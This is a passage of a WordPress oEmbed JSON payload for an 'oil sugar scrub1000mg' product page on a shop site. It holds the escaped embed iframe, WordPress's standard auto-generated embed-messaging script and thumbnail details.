href=\"https:\/\/shopopenmarket.com\/product\/oil-sugar-scrub1000mg\/\">oil sugar scrub1000mg<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/shopopenmarket.com\/product\/oil-sugar-scrub1000mg\/embed\/#?secret=MRa9xFwrft\" width=\"600\" height=\"338\" title=\"“oil sugar scrub1000mg” — openmarket\" data-secret=\"MRa9xFwrft\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script>\n\/*! This file is auto-generated *\/\n!function(c,d){\"use strict\";var e=!1,o=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},c.wp.receiveEmbedMessage);else if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(!t);else if(!(t.secret||t.message||t.value));else if(\/[^a-zA-Z0-9]\/.test(t.secret));else{for(var r,s,a,i=d.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),n=d.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),o=new RegExp(\"^https?:$\",\"i\"),l=0;l<n.length;l++)n[l].style.display=\"none\";for(l=0;l<i.length;l++)if(r=i[l],e.source!==r.contentWindow);else{if(r.removeAttribute(\"style\"),\"height\"===t.message){if(1e3<(s=parseInt(t.value,10)))s=1e3;else if(~~s<200)s=200;r.height=s}if(\"link\"===t.message)if(s=d.createElement(\"a\"),a=d.createElement(\"a\"),s.href=r.getAttribute(\"src\"),a.href=t.value,!o.test(a.protocol));else if(a.host===s.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener(\"message\",c.wp.receiveEmbedMessage,!1),d.addEventListener(\"DOMContentLoaded\",t,!1),c.addEventListener(\"load\",t,!1);function t(){if(o);else{o=!0;for(var e,t,r,s=-1!==navigator.appVersion.indexOf(\"MSIE 10\"),a=!!navigator.userAgent.match(\/Trident.*rv:11\\.\/),i=d.querySelectorAll(\"iframe.wp-embedded-content\"),n=0;n<i.length;n++){if(!(r=(t=i[n]).getAttribute(\"data-secret\")))r=Math.random().toString(36).substr(2,10),t.src+=\"#?secret=\"+r,t.setAttribute(\"data-secret\",r);if(s||a)(e=t.cloneNode(!0)).removeAttribute(\"security\"),t.parentNode.replaceChild(e,t);t.contentWindow.postMessage({message:\"ready\",secret:r},\"*\")}}}}(window,document);\n<\/script>\n","thumbnail_url":"https:\/\/shopopenmarket.com\/wp-content\/uploads\/CBD-personal-care-1.jpg","thumbnail_width":350,"thumbnail_height":467}